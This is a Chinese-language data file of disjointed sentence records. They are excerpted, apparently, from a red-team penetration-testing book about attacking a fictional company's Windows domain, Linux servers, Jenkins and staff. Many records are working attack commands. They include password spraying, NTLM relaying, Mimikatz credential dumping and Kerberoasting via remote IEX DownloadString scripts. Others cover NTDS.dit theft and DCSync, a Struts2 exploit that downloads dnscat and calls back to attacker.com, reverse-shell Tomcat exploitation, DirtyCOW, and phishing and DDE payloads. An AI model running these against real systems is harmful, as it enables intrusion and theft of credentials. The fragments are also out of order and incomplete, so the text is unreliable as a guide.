    {"text": "当公司开始连接互联网时，我们开始了解身份验证技术，应用于电子邮件（ieOffice 365或OWA）、通信（Lync、XMPP、WebEx）工具、协作工具（JIRA、Slack、Hipchat、Huddle），以及其他外部服务（Jenkins、CMS站点、支持站点）。"},
    {"text": "我们尝试攻击这些服务器/服务的原因是，我们正在寻找根据被攻击者的轻量目录访问协议（LDAP）/活动目录（AD）基础架构进行身份验证的应用程序。"},
    {"text": "正如您将在下面的示例中看到的那样，我们运行Spray工具，攻击cyberspacekittens公司的虚假OWA邮件服务器（实际上根本存在），当它尝试用户名peter和密码Spring2018时，身份认证通过了（您可以通过数据长度判断是否成功），如图4.1所示。"},
    {"text": "这是一个使用Curl工具快速脚本实现的OWA系统暴力破解 图4.1 我经常遇到的一个问题是尝试使用哪些密码，因为在锁定账户之前，您只能进行有限次数的密码尝试。"},
    {"text": "POST/owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencodeddestination=https%3A%2F%2Fcyberspacekittens. com%2Fowa%2F&flags=4 &forcedownlevel=0&username= sprayuser @cyberspacekittens.com&pass word= spraypassword &passwordText=&isUtf8=1 如前所述，spray.sh的另一个优点是它支持SMB和Lync协议。"},
    {"text": "图4.2 找到单个密码后，我们就可以使用Ruler工具，转储O365全局地址列表（GAL）中的所有用户，从而查找更多的电子邮件地址及其所属的电子邮件组，如图4.3所示。"},
    {"text": "通常，在红队行动中，我们不希望在环境中运行任何漏洞扫描工具，甚至有时不想运行Nmap工具对内部网络进行扫描，这是因为许多公司的安全防护设备能够检测这些类型的扫描，并且很容易发现漏洞扫描程序的扫描动作。"},
    {"text": "设置环境——实验网络 这部分是完全可选的，但是，由于微软公司版权许可问题，本书中没有任何预先安装的虚拟机实验环境，因此现在由您来建立一个“实验室”！"},
    {"text": "确保为每个设备添加一个域用户，该域用户在设备中以本地管理员身份运行。 这可以通过将该域用户添加到本地计算机的本地管理员组来完成。 在每台主机上启用本地管理员并设置密码。"},
    {"text": "4.3 在没有凭证的网络上 4.3.1 Responder 就像之前的行动，我们使用Responder工具（可在GitHub网站搜索）监听网络和欺骗响应数据，从而获取网络上的凭证。"},
    {"text": "回顾本书第2版的内容，当网络上的系统查找DNS主机名失败时，该被攻击者系统将链路本地多播名称解析（LLMNR）和Net-BIOS（NBT-NS）名称服务用于名称解析备份。"},
    {"text": "更棒的是，Responder 工具可以更进一步，充当 Web 代理自动发现（WPAD）协议服务器，通过攻击者服务器代理所有的数据，但这是另外一种攻击方式。"},
    {"text": "NTLMv2-SSP散列值暴力破解的速度，比普通的NTLM散列值慢得多，但这不是大问题，因为我们可以使用大型破解设备实现破解（参见第8章）。"},
    {"text": "图4.5 图4.6 4.3.2 更好的Responder（MultiRelay.py） Responder工具和破解NTLMv2-SSP散列的问题在于破解这些散列值所需的时间可能很长。"},
    {"text": "在Per Laurent的网站上，Responder的工具文件夹中包含MultiRelay工具，它是一个强大的渗透测试程序，使您能够对选定的目标执行NTLMv1和NTLMv2中继攻击。"},
    {"text": "/opt/Responder/tools ./MultiRelay.py -t <target host> -c <shell command> -u ALL 一旦中继到被攻击者主机的目标实现，如图4.7所示，就需要考虑在被攻击者主机上执行的内容。"},
    {"text": "默认情况下，MultiRelay可以生成基本Shell，但我们也可以自动执行Meterpreter PowerShell静荷、Empire PowerShell静荷、dnscat2 PowerShell静荷、PowerShell下载脚本和执行C2代理、Mimikatz，或者只运行calc.exe工具。"},
    {"text": "4.4 没有凭证的用户枚举 一旦进入网络，我们就可以使用Responder工具获取凭证或Shell，但有时也会出现这种情况——目标启用SMB签名并且破解NTLMv2 SSP不可行。"},
    {"text": "nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm= \"cyberspacekittens. local\",userdb=/opt/userlist.txt<Domain Controller IP>。"},
    {"text": "4.5 使用CrackMapExec（CME）扫描网络 如果还没有突破的系统，但我们确实通过Responder、配置错误的网络应用程序、暴力破解或打印机获得了凭证，那么可以尝试扫描网络，查看账户可以登录的位置。 使用像CrackMapExec（CME）等工具进行简单的扫描，可以帮助找到内部网络初始突破点。 从已经取得的效果看，我们使用CME扫描网络，识别/验证网络上的SMB资源，在多个主机上远程执行命令，甚至通过Mimikatz提取明文凭证。"},
    {"text": "在下面的场景中，我们将使用其REST API启动Empire，在CME中配置密码，将CME连接到Empire，使用掌握的单个凭证扫描网络，最后，如果通过身份鉴权，则自动推送Empire静荷到远程被攻击者的系统，如图4.9所示。"},
    {"text": "cd /opt/Empire ./empire --rest –password 'hacktheuniverse' 更改CrackMapExec密码。 gedit /root/.cme/cme.conf password=hacktheuniverse 运行CME，生成Empire Shell。"},
    {"text": "cme smb 10.100.100.0/24 –d 'cyberspacekittens.local' –u '<username>' – p '<password>' - M empire_exec -o LISTENER = http 4.6 突破第一台主机 通过社会工程、潜伏设备、Responder工具、攻击打印机或其他攻击方式，您获得了主机的访问权限，您接下来要做什么？"},
    {"text": "sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\\ temp \\ os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn 简单文件搜索。"},
    {"text": "powershell -Command \"get-WmiObject -class Win32_Share\" powershell -Command \"get-PSDrive\" powershell -Command \"Get-WmiObject -Class Win32_MappedLogicalDisk | select Name，ProviderName\" 其实绝大部分人并没有时间记住所有这些命令，幸运的是我们有 RTFM 一书（很棒的资源），leostat创建了一个快速的Python脚本，包含大量这样的命令，可以在一个名为rtfm.py的工具中轻松搜索。"},
    {"text": "假设我们有一个配置为执行C:\\Program Files (x86)\\Cyber Kittens\\Cyber Kittens.exe的服务。 如果具有Cyber Kittens 文件夹写权限，那么我们可以将恶意软件放到目录 C:\\Program Files (x86)\\Cyber Kittens\\Cyber.exe（注意，缺少 Kittens.exe）。"},
    {"text": "wmic service get name,displayname,pathname,startmode |findstr/i \"Auto\" |findstr/i/v \"C:\\Windows\\\" |findstr/i/v \"\"\" 查找BINARY_PATH_NAME 查找不安全的服务注册表权限。"},
    {"text": "检查AlwaysInstallElevated注册表项是否启用。 检查AlwaysInstallElevated注册表项，该注册表项标识是否使用提升的权限安装.MSI文件（NT AUTHORITY \\ SYSTEM）。"},
    {"text": "ServiceName : WavesSysSvc Path : C:\\Program Files\\Waves\\MaxxAudio\\WavesSysSvc64.exe ModifiableFile : C:\\Program Files\\Waves\\MaxxAudio\\WavesSysSvc64.exe ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...} ModifiableFileIdentityReference : Everyone StartName : LocalSystem 对于WavesSysSyc服务，似乎每个用户都具有写权限，这意味着可以用恶意二进制文件替换WaveSysSvc64.exe文件。"},
    {"text": "upload ./shell.exe C:\\users\\test\\shell.exe shell copy C:\\users\\test\\Desktop\\shell.exe \"C:\\ProgramFiles\\Waves\\MaxxAudio\\ WavesSysSvc64.exe\" 重新启动服务或等待系统重新启动。"},
    {"text": "将windows.txt复制到Kali系统的/opt/Windows-Exploit-Suggester目录。 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls。"},
    {"text": "msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST <Your IP> exploit getsystem 您会发现无法访问系统，因为受到攻击的服务不是特权进程。"},
    {"text": "shell cd \\ && dir/s tomcat-users.xml type \"C:\\Program Files\\Apache Software Foundation\\tomcat\\apache-tomcat-8.0.33\\conf\\tomcat-users.xml\" 现在使用获取的密码攻击Tomcat。"},
    {"text": "search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST <Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST <Your IP> exploit whoami 您现在具有系统权限。"},
    {"text": "4.7.2 从内存中提取明文文本凭证 Mimikatz 工具已经存在了一段时间，在获取明文密码方面改变了游戏规则。 在Windows 10之前，在主机上以管理员身份运行Mimikatz工具，攻击者可以从LSASS（本地安全子系统）中提取明文密码。"},
    {"text": "shell reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\ WDigest/v UseLogonCredential/t REG_DWORD/d 1/f 这样设置的问题是我们需要用户重新登录系统。"},
    {"text": "图4.15 4.7.3 从Windows凭证存储中心和浏览器中获取密码 Windows凭证存储中心是Windows的默认功能，它为系统、网站和服务器保存用户名、密码和证书。"},
    {"text": "一旦进入Mac主机环境，许多攻击就与Windows的情况类似了（举个例子，扫描默认口令、Jenkin/应用程序攻击、嗅探网络以及通过SSH或VNC横向移动）。"},
    {"text": "在macOS中创建恶意的Excel文件，我们打开新的Excel工作表，转到工具，查看宏，在此工作簿中创建宏，当Microsoft Visual Basic打开时，删除所有当前代码并将其替换为所有新的宏代码。"},
    {"text": "既然您已经突破了被攻击者的主机，从他们的工作站获取了所有秘密，掌握了被攻击者浏览的一些网站，并执行了一些netstat风格的侦查……下一步要做什么呢？"},
    {"text": "Kerberos身份鉴权使用SPN功能，将服务实例与服务登录账户相关联。 举个例子，一个SPN对应一个服务账户，此服务账户运行MS SQL服务器、HTTP服务器和打印服务器等的SPN。"},
    {"text": "-T：查询指定域 -F：查询活动目录林，而不是域 -Q：在目标域或者目标林执行 */*：所有内容 我们可以从Setspn查询中获得什么类型的信息？"},
    {"text": "我们可以在打印机、共享信息工作站、带有服务密码的平面文件文本、配置文件、iPad、Web应用程序页面源中包含密码的地方，找到这种类型的域账户。"},
    {"text": "PowerView使用PowerShell脚本，可在Windows域上获得网络态势感知信息。 它包含一组纯PowerShell脚本，可以替换各种Windows“net *”命令，它使用PowerShell AD挂钩和底层Win32 API函数，实现各种有用的Windows域功能。"},
    {"text": "作为攻击者，我们可以利用PowerView和PowerShell查询活动目录，活动目录中最低权限的用户——“域用户”即可完成任务，根本不需要本地管理员权限。"},
    {"text": "Sharphound是原始Bloodhound Ingester的C＃版本，它更快、更稳定，可以用作独立二进制文件或作为PowerShell脚本导入。 Sharphound PowerShell脚本使用reflection和assembly.load，将已编译的BloodHound C＃ingestor加载到内存。"},
    {"text": "Connect to bolt://localhost:7687 Username: neo4j Password: neo4j Change Password Password: New Password （4）在终端运行Bloodhound。 bloodhound Database URL: bolt://127.0.0.1:7687 Username: neo4j Password: New Password （5）加载数据。"},
    {"text": "MATCH (n) WHERE n.name=\"NEIL.PAWSTRONG@CYBERSPACEKITTENS. LOCAL\"SET n.owned=\"phish\", n.wave=1 运行查询，显示所有已被网络钓鱼的系统。"},
    {"text": "到目前为止，在没有扫描的情况下，我们已经能够获得有关该组织的大量信息，这都是本地活动目录用户（域用户）的权限，并且在大多数情况下，网络流量看起来很正常。"},
    {"text": "Bloodhound识别ACE中可能存在弱点的区域，包括谁能够更改/重置密码、向组添加成员、为其他用户更新脚本路径、更新对象或在对象上写入新ACE等。"},
    {"text": "图4.31 Empire中的psinject具备的功能描述如下：“能够使用ReflectivePick将代理注入另一个进程，将.NET公共语言运行库加载到进程中，执行特定的PowerShell命令，所有这些都无须启动新的powershell.exe进程！"},
    {"text": "例如，一个经理具有访问其下属计算机的全部权限，在一个会议室/实验室的计算机上有多个用户具有管理员权限，内部系统配置错误，或者有人手动将用户添加到计算机本地管理员组，那么用户可以远程访问网络上其他工作站。"},
    {"text": "为了仔细检查我们是否具有访问权限，我通常会执行非交互式远程命令，如dir \\[remote system]\\C$，并且查看对C驱动器是否具有读/写权限，如图4.33所示。"},
    {"text": "jenkins_script_console：将Empire代理部署到Windows Jenkins服务器中没有身份鉴权的脚本控制台。 我们知道，Jenkins服务器通常没有启用鉴权，这意味着可以通过脚本实现远程代码执行。"},
    {"text": "powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(\"C08AFD90-F2A1-11D1-8455-00A0C91F3880\",\"buzz.cyberspacekittens.local\"))).Navigate (\"c:\\windows\\system32\\calc.exe\") 这将在系统中执行本地可执行文件，并且不能在可执行文件中包含任何命令行参数（因此cmd/k样式的攻击不能执行）。"},
    {"text": "$([activator]::CreateInstance([type]::GetTypeFromCLSID(\"C08AFD90-F2A1-11D1-8455- 00A0C91F3880\",\"buzz.cyberspacekittens.local\"))).Navigate(\"\\\\neil.cyberspacekittens.local\\Public\\ adobeupdate.exe\") 图4.36 如图4.37所示，buzz的机器上会弹出一个窗口，提示运行adobeupdate.exe文件。"},
    {"text": "4.8.7 传递散列 本地管理员账户散列传递（PTH），虽然这种老的攻击方式在大部分场景中已经不起作用了，但是这种攻击方式并未彻底绝迹，我们快速回顾一下。"},
    {"text": "因为，散列可以使用Mimikatz这样的工具轻松恢复，可以从本地账户提取（但需要本地管理员访问权限），可以通过转储域控制器恢复（不是明文密码）以及其他方式。"},
    {"text": "散列传递攻击基本的用途是攻击本地管理员，但目前很难再发挥作用，因为默认情况下，本地管理员账户已被禁用，并且新的安全功能已开始应用，例如本地管理员密码解决方案（LAPS），它为每个工作站创建随机密码。"},
    {"text": "当然，散列传递攻击发挥作用要求您必须是系统的本地管理员，即本地管理员账户“管理员”已启用，并且它是RID 500账户（这意味着必须是原始管理员账户，而不是新创建的本地管理员账户）。"},
    {"text": "Command: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User's comment Country/region code 000 (System Default) Account active Yes Account expires Never 如果我们看到该账户处于活动状态，那么可以尝试从本地计算机中提取所有散列值。"},
    {"text": "Administrator:500:aad3b435b51404eeaad3b435b51404ee:3710b46790763e07 ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0::: 我们可以使用Empire（credentials/mimikatz/pth）工具，或者启动可信工具PsExec，提交我们的散列值，然后执行我们的自定义静荷，如图4.38所示。"},
    {"text": "如果您仍然可以看到使用本地管理员账户的情况，但环境中启用了 LAPS（本地管理员密码解决方案）方案，那么您可以使用几种不同的工具从活动目录中提取散列值。"},
    {"text": "4.8.8 从服务账户获取凭证 如果您发现获取的用户账户受限，无法从内存中获取密码，并且恰好没有在主机系统上获取密码，那么该怎么办？"},
    {"text": "该漏洞的存在有以下原因：当从域控制器请求服务票证时，该票证使用关联的服务用户的NTLM散列进行加密。 由于任何用户都可以请求票证，因此这意味着如果可以猜中关联服务用户的NTLM散列（加密票证）的密码，那么我们就可以获得实际服务账户的密码。"},
    {"text": "powershell Add-Type -AssemblyName System.IdentityModel; New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken- ArgumentList \"HTTP/ CSK-GITHUB.cyberspacekittens.local\" 提取所有的用户票证到内存中。 powershell Add-Type -AssemblyName System.IdentityModel; IEX(New-Object Net.WebClient).DownloadString(\"https://raw.githubusercontent.com/nidem/kerberoast/ master/GetUserSPNs.ps1\") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken-ArgumentList $_.ServicePrincipalName}catch{}} 当然，您也可以使用PowerSploit实现上述功能，如图4.39所示。"},
    {"text": "powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString ('http://bit. ly/2qx4kuH'); Invoke-Mimikatz -Command '\"\"\"kerberos::list/export\"\"\"' 图4.40 在我们导出票证后，票证驻留在被攻击者的机器上。"},
    {"text": "比较简单的破解账户的方法是使用名为tgsrepcrack的工具（JTR和Hashcat也支持破解Kerberoast，我们将很快讨论这个问题）。 使用Kerberoast破解票证。"},
    {"text": "cd /opt/kerberoast python tgsrepcrack.py [password wordlist] [kirbi tickets - *.kirbi] 如图4.41所示，服务账户csk-github的密码是“P @ ssw0rd！"},
    {"text": "图4.42 4.9 转储域控制器散列 一旦我们获得域管理员的访问权限，从域控制器获取所有散列的旧方法就是，在域控制器上运行命令，使用Shadow Volume或Raw复制方法，获得Ntds.dit文件。 回顾Shadow Volume复制方法 由于我们可以访问文件系统，并且可以在域控制器上运行命令，因此作为攻击者，我们可以获取存储在Ntds.dit文件中的所有域散列值。"},
    {"text": "C:\\vssadmin create shadow/for=C: copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\ntds\\ntds.dit copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\system32\\config\\SYSTEM copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\system32\\config\\SAM reg SAVE HKLM\\SYSTEM c:\\SYS vssadmin delete shadows/for= [/oldest |/all |/shadow=] 1．NinjaCopy NinjaCopy（http://bit.ly/2HpvKwj）是另一个获取散列值的工具，运行在域控制器，可以用来获取Ntds.dit文件。"},
    {"text": "Invoke-NinjaCopy -Path \"c:\\windows\\ntds\\ntds.dit\" -LocalDestination \"c:\\windows\\ temp\\ ntds.dit\" 2．DCSync 到目前为止，我们已经回顾了两个从域控制器获取散列值的旧方法，这两个方法的前提条件是您可以在域控制器上运行系统命令，并且通常在该机器上存储文件，下面我们将尝试新的方法。"},
    {"text": "通常仅限于域管理员、组织管理员、域控制器组以及具有将Replicating Changes设置为Allow（例如Replicating Changes All/Replicating Directory Changes）权限的用户，DCSync方法将允许您的用户执行此攻击。"},
    {"text": "Lsadump::dcsync/domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes] 更棒的是，PowerShell Empire集成了DCSync工具，因此使用更加方便。 Empire代码：powershell/credentials/mimikatz/dcsync_hashdump。"},
    {"text": "图4.43 4.10 在虚拟专用服务器上基于远程桌面进行横向迁移 在当今世界，计算机上运行着各种下一代杀毒软件，在计算机之间使用 WMI/PowerShell Remoting/PsExec 横向迁移并不总是最佳选择。"},
    {"text": "我们还将在攻击主机上配置本地端口，在本例中为3389（RDP），实现该端口的任何流量转发到虚拟专用服务器。 当该端口的流量转发到虚拟专用服务器时，该流量发送到虚拟专用服务器上本地的端口3389。 最后，我们需要设置一个端口，监听虚拟专用服务器3389端口，并使用Meterpreter的端口转发功能，将流量路由到被攻击者的主机。"},
    {"text": "（2）攻击者主机使用SSH工具，设置本地端口转发（在本地侦听端口3389），将所有流量发送到虚拟专用服务器的本地3389端口。 ssh -i key.pem ubuntu @ [VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 （3）在Meterpreter会话中，监听虚拟专用服务器的3389端口，转发流量从突破的主机横向迁移到下一个突破的主机。"},
    {"text": "portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] （4）在攻击者主机上，打开微软的远程桌面客户端，将连接地址设置为localhost，即127.0.0.1并输入被攻击者的凭证，实现RDP连接，如图4.45所示。"},
    {"text": "在许多情况下，一旦存在本地文件包含（LFI）或远程执行代码（RCE）漏洞，我们就可以尝试提升权限，读取/etc/shadow文件（密码破解），或者采用类似Mimikatz的攻击。"},
    {"text": "ssh -D 127.0.0.1:8888 -p 22 <user>@<Target_IP> 单个端口的基本端口转移。 ssh <user>@<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 基于SSH的虚拟专用网络。"},
    {"text": "在进行任何类型的权限提升漏洞挖掘之前，首先了解Linux主机和系统的所有信息，包括用户、服务、定时任务、软件版本、弱凭证、错误配置的文件权限，甚至是Docker信息。"},
    {"text": "非特权本地用户利用这个漏洞，获取对其他只读内存映射的写访问权，从而实现了权限提升。 简而言之，此漏洞允许攻击者通过内核漏洞，从非特权用户提升到root用户。"},
    {"text": "sudo cp /Library/Preferences/VMware\\Fusion/vmnet8/dhcpd.conf/Library/ Preferences/ VMware\\Fusion/vmnet8/dhcpd.conf.bakup 编辑dhcpd.conf文件，使用172.16.250.x而不是192.168.x.x.网络。 sudo vi /Library/Preferences/VMware\\Fusion/vmnet8/dhcpd.conf 编辑nat.conf，使用正确的网关。 sudo vi /Library/Preferences/VMware \\ Fusion/vmnet8/nat.conf # NAT gateway address ip= 172.16.250.2 netmask= 255.255.255.0 重启服务。 sudo/Applications/VMware\\Fusion.app/Contents/Library/services/services.sh --stop sudo/Applications/VMware\\Fusion.app/Contents/Library/services/services.sh --start 现在，您以NAT模式启动THP Kali虚拟机，获得172.16.250.0/24范围内的动态IP地址。"},
    {"text": "msfconsole 搜索struts2，加载struts2漏洞工具。 search struts2 use exploit/multi/http/struts2_content_type_ognl 配置struts2 漏洞，获取dnscat静荷并在被攻击者服务器上执行。"},
    {"text": "set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret=<Your Secret Key> run 图4.51 静荷执行后，在Metasploit中您将无法获得任何类型的确认，因为使用了dnscat静荷。"},
    {"text": "与您的第一个静荷交互 window -i 1 复制Shell进程 shell 使用键盘按键返回主菜单 Ctrl+ Z 与新Shell进行交互 window -i 2 输入Shell命令 ls 图4.52 您已经突破了OpenCMS/Apache Struts服务器！"},
    {"text": "cd /tmp wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试DirtyCOW漏洞工具，在内核恐慌时，允许重启。"},
    {"text": "echo 0 >/proc/sys/vm/dirty_writeback_centisecs echo 1 >/proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops&& echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami。"},
    {"text": "cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30 图4.55 您花了一些时间在第二个设备上，并尝试了解它的用途。"},
    {"text": "window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在您的THP Kali虚拟机上，通过浏览器和端口转发协议（使用DNS协议，速度非常慢）。"},
    {"text": "http://127.0.0.1:8080/jenkins 图4.56 在Jenkins应用程序的凭证管理器内部，我们将看到db_backup用户密码已经存储，但是无法访问，如图 4.57 所示。"},
    {"text": "Ctrl + Z window -i 2 转到Jenkins的主目录，获取3个文件：credentials.xml、master.key和hudson.util.Secret。 cd /home/Jenkins 我们尝试下载这3个文件，或者采用base64编码从当前Shell复制。"},
    {"text": "base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 可以将base64输出复制到Kali虚拟机中，解码它们，恢复db_backup用户的密码。 cd /opt/jenkins-decrypt echo \"<base64 hudson.util.Secret>\" | base64 --decode >hudson.util.Secret echo \"<base64 master.key >\" | base64 --decode > master.key echo \"<base64 credentials.xml >\" | base64 --decode >credentials.xml 破解密码，如图4.58所示。 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml 图4.58 我们成功破解了db_backup用户的密码“)uDvra {4UL ^; r?* h”。"},
    {"text": "listen 127.0.0.1:2222 172.16.250.50:22 一旦使用db_backup账户进入数据库服务器（172.16.250.50），我们就会注意到此账户是超级管理员之一，并且可以利用sudo su命令进入root。"},
    {"text": "未知 第5章 助攻——社会工程学 5.1 开展社会工程（SE）行动 作为红队，我们喜欢采用社会工程（SE）攻击方式，不仅仅是因为通常对技术要求较低，更因为能够以非常低的成本成功实施高价值的行动。"},
    {"text": "本书第2版有一个例子，如果攻击mail.cyberspacekittens.com网址，那么我们就会购买网址mailcyberspacekittens.com，并设置一个虚假的Outlook页面来捕获凭证。 当被攻击者访问假网站并输入密码时，我们搜集这些数据，并将其重定向到公司的有效电子邮件服务器（mail.cyberspacekittens.com）。"},
    {"text": "将配置文件修改为以下内容 gedit /etc/setoolkit/set.config APACHE_SERVER= ON APACHE_DIRECTORY= / var / www / html HARVESTER_LOG= / var / www / html 启动社会工程工具包（SET）。"},
    {"text": "我的意思是他们可能使用双因子认证，用于网站的身份验证，但对于API、旧胖客户端或所有应用程序端点，可能不需要双因子认证。 我们已经看到许多应用程序在公共端点上需要双因子认证，但在应用程序的其他部分不使用双因子认证，缺乏安全保护。"},
    {"text": "使用LuckyStrike，我们可以在工作表中使用静荷创建Excel文档，甚至可以在Excel文档中存储完整的可执行文件（EXE），EXE文件可以使用ReflectivePE在内存中运行。"},
    {"text": "DDE协议定义消息的格式和规则。 DDE协议在共享数据的应用程序之间发送消息，并使用共享内存交换应用程序之间的数据。 应用程序可以使用DDE协议进行一次性数据传输和持续的数据传输。"},
    {"text": "DDEAUTO c:\\windows\\system32\\cmd.exe \"/k powershell.exe [empire payload here]\" Empire有一个stager，它将自动创建Word文件和关联的PowerShell脚本，如图5.9所示。"},
    {"text": "第一个工具EmbededInHTML首先获取文件（任何类型的文件），加密文件，并将其作为资源嵌入HTML文件中，以及自动下载程序（用于响应用户单击嵌入资源），然后，当用户浏览HTML文件时，嵌入式文件即时解密，保存在临时文件夹中，接着将文件呈现给用户，就像从远程站点下载一样，这具体取决于用户的浏览器和显示的文件类型，该文件可以由浏览器自动打开，如图5.10所示。"},
    {"text": "例如，如果您一直在执行网络评估，就会知道，如果遇到无须身份验证的Jenkins应用程序（开发人员大量使用它进行持续集成），这几乎意味着完全突破。"},
    {"text": "首先，一个组织的被攻击者，访问公共网站（攻击者控制）或存储XSS静荷的页面。 被攻击者访问公共网站，攻击者将在其浏览器上执行JavaScript，运行恶意静荷。"},
    {"text": "现在，攻击者可以使用定制的Jenkins攻击程序，通过默认端口8080扫描网络范围内的每个IP地址（代码只扫描本地“/24”子网，但在真实的行动中，扫描范围要大得多）。"},
    {"text": "当找到存在漏洞的Jenkins服务器时，首先运行一个Groovy脚本静荷，从互联网上获取加密的二进制文件，将其解密到C:\\Users\\Public\\RT.exe目录中，执行Meterpreter二进制文件（RT.exe）。"},
    {"text": "下载Jenkins War文件。 http://nurrors.jenkims.io/war-stable/1.651.2/ 启动Jenkins。 java -jar jenkins.war 浏览Jenkins。 http://<Jenkins_IP>:8080/ 测试Groovy脚本控制台。 http://<Jenkins_IP>:8080/script 在THP Kali 虚拟机上对Jenkins实施漏洞攻击，如图5.13所示。 图5.13 下载THP Jenkins漏洞利用工具（http://bit.ly/2IUG8cs）。"},
    {"text": "cd/opt/generateJenkinsExploit python3 ./generateJenkinsExploit.py -e badware.exe 创建名为badware.html的恶意JavaScript页面。 python3./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted> badware.html 将加密的二进制和恶意JavaScript页面都移动到Web目录。 mv badware.html/var/www/html/ mv badware.exe.encrypted/var/www/html/ 现在，在完全不同的系统中，使用Chrome或Firefox访问攻击者网页http://<attacker_IP>/ badware.html，如图5.14所示。"},
    {"text": "只需访问该恶意页面，被攻击者的浏览器就会加载Groovy静荷，使用JavaScript和POST请求，通过端口8080，对被攻击者的内部“/24”网络地址进行扫描攻击。"},
    {"text": "5.4 结论 由于人存在恐惧、紧迫轻易和信任的弱点，因此，通过这些弱点我们可以创建一些攻击行动，这些行动在系统突破方面具有很高的成功率。"},
    {"text": "在本书第2版中，我们介绍了如何复制ProxCard II卡，因为它们没有任何保护，可以轻松复制，并且经常是分批大量购买，导致可以轻松暴力破解ID。"},
    {"text": "虽然它有很多其他功能，如autossh、DNS欺骗、Meterpreter、Ptunnel、script2email、urlsnarf和Responder等，但是红队使用它的主要用途是访问网络。"},
    {"text": "例如： wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb 安装OpenVPN AS。 dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb 删除当前配置文件，开始配置OpenVPN。 /usr/local/openvpn_as/bin/ovpn-init 在设置过程中： 确保设置ADMIN UI为所有接口 通过内部数据库，设置使用本地身份验证为YES 更新OpenVPN密码。"},
    {"text": "图6.4 确保在User Pemissions（用户权限）中配置/启用以下选项 所有服务器端私有子网 所有其他VPN客户端 （6）下载OpenVPN配置文件，然后连接到下载配置文件。"},
    {"text": "返回OpenVPN AS并编辑用户lanturtle参数 User Permissions→lanturtle→show 编辑VPN Gateway为“Yes”，添加内部地址范围（10.100.100.0/24） 保存并更新 以SSH方式登录到LAN Turtle上，使用命令reboot重新启动。"},
    {"text": "作为红队，Rubber Ducky是一个很好的工具，因为它可以用于社会工程攻击实践，加速PowerShell命令的传递，可以突破没有键盘但有USB接口的自助服务终端系统。"},
    {"text": "apt-get update apt-get upgrade export GIT_SSL_NO_VERIFY=1 git clone https://github.com/lgandx/Responder.git/tools/responder git clone https://github.com/CoreSecurity/impacket.git/tools/impacket cd /tools/impacket && python ./setup.py install apt-get -y install dsniff 在Kali机器的另一个终端中，安装所需的所有模块。"},
    {"text": "git clone https://github.com/hak5/bashbunny-payloads.git/opt/bashbunny-payloads 您可以选择任何类型的静荷，但在示例中，我们将设置Bash Bunny两个静荷：BunnyTap和QuickCreds。 cp -R/opt/bashbunny-payloads/payloads/library/credentials/BunnyTap/*/media/ root/BashBunny/payloads/switch1/ cp -R/opt/bashbunny-payloads/payloads/library/credentials/QuickCreds/*/media/ root/ BashBunny/payloads/switch2/ 注意，在每个Switch1和Switch2文件夹中都有一个名为payload.txt的文件。"},
    {"text": "这两种方法都很好用，我喜欢使用的版本是Wifite2版本，它是基于Alfa AWUS036NHA无线网卡完全重写的。 Wifite2界面简单易用，支持多种攻击，比Aircrack支持类型还多，并且可以轻松破解捕获的散列值，如图6.12所示。 图6.12 在设备方面，除Alfas两个设备外，使用WiFi Pineapple Nanos网卡可以很方便地实现更隐蔽的WiFi攻击。"},
